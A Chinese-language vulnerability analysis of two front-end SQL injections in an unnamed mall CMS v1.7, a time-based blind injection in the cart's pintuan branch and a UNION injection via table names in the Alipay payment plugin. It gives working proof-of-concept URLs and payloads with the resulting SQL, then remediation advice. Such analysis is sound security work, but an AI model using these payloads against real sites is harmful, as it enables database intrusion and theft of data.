某商城cms v1.7 前台两处SQL注入
字数 1056 2025-08-29 08:32:09
某商城CMS v1.7前台SQL注入漏洞分析教学文档
漏洞概述
某商城CMS v1.7版本中存在两处前台SQL注入漏洞:
- 基于时间盲注的SQL注入漏洞(pintuan_check函数处)
- 基于UNION查询的SQL注入漏洞(order_table函数处)
漏洞一:pintuan_check时间盲注
漏洞位置
module/index/cart.php 12-32行处的pintuan分支处理逻辑
漏洞分析流程
-
参数处理:
$product_id,$product_guid,$product_num都经过intval()转换$_g_pintuan_id参数未经过任何过滤处理
-
关键漏洞点:
if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) -
函数调用链:
pintuan_check() → db->pe_select() → db->sql_select() → db->query() → mysqli_query() -
pe_select函数分析:
public function pe_select($table, $where = '', $field = '*') { $sqlwhere = $this->_dowhere($where); return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1"); } -
_dowhere函数处理:
- 将键名中的反引号替换为空
- 处理
order by和group by语句 - 最终拼接WHERE条件
漏洞利用
-
构造时间盲注POC:
pintuan_id=' and if((1=1),sleep(5)),1)-- 1 -
最终执行的SQL语句:
select * from `pe_pintuan` where `pintuan_id` = '' and if((1=1),sleep(5)),1)-- 1' limit 1 -
改进POC(解决空表问题):
/index.php?mod=cart&act=pintuan&guid=1&id=1&num=&pintuan_id=' and (if((1=1),(select * from (select sleep(5))a),1))-- 1
漏洞二:order_table UNION注入
漏洞位置
include/plugin/payment/alipay/pay.php 34-35行
漏洞分析流程
-
参数处理:
$order_id = pe_dbhold($_g_id); $order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id)); -
pe_dbhold函数分析:
- 对参数进行转义处理
- 使用
addslashes()或addslashes(htmlspecialchars())
-
order_table函数分析:
function order_table($id) { if (stripos($id, '_') !== false) { $id_arr = explode('_', $id); return "order_{$id_arr[0]}"; } else { return "order"; } } -
注入原理:
- 通过控制
order_table返回值来注入表名 - 表名部分不受引号限制,可绕过转义
- 通过控制
漏洞利用
-
构造UNION注入POC:
/include/plugin/payment/alipay/pay.php?id=pay` where 1=1 union select user(),2,3,4,5,6,7,8,9,10,11,12-- _ -
最终执行的SQL语句:
select * from `pe_order_pay` where 1=1 union select user(),2,3,4,5,6,7,8,9,10,11,12-- _` where `order_id` = 'pay` where 1=1 union select user(),2,3,4,5,6,7,8,9,10,11,12-- _' limit 1
漏洞修复建议
-
对所有用户输入参数进行严格过滤:
- 使用白名单机制验证参数
- 对特殊字符进行转义或过滤
-
修改数据库操作函数:
- 在
pe_select等数据库操作函数内部加入参数过滤逻辑 - 避免安全函数与DB操作函数分离的设计
- 在
-
具体修复方案:
- 对
pintuan_check函数的$pintuan_id参数进行过滤 - 修改
order_table函数,增加输入验证 - 使用预处理语句替代直接SQL拼接
- 对
总结
这两处SQL注入漏洞的主要成因:
- 第一处:未对可控参数
$_g_pintuan_id进行过滤 - 第二处:虽然对参数进行了转义,但通过表名注入绕过了防护
根本问题在于安全防护函数与DB操作函数分离的设计,容易遗漏参数过滤。建议在数据库操作函数内部集成安全过滤机制。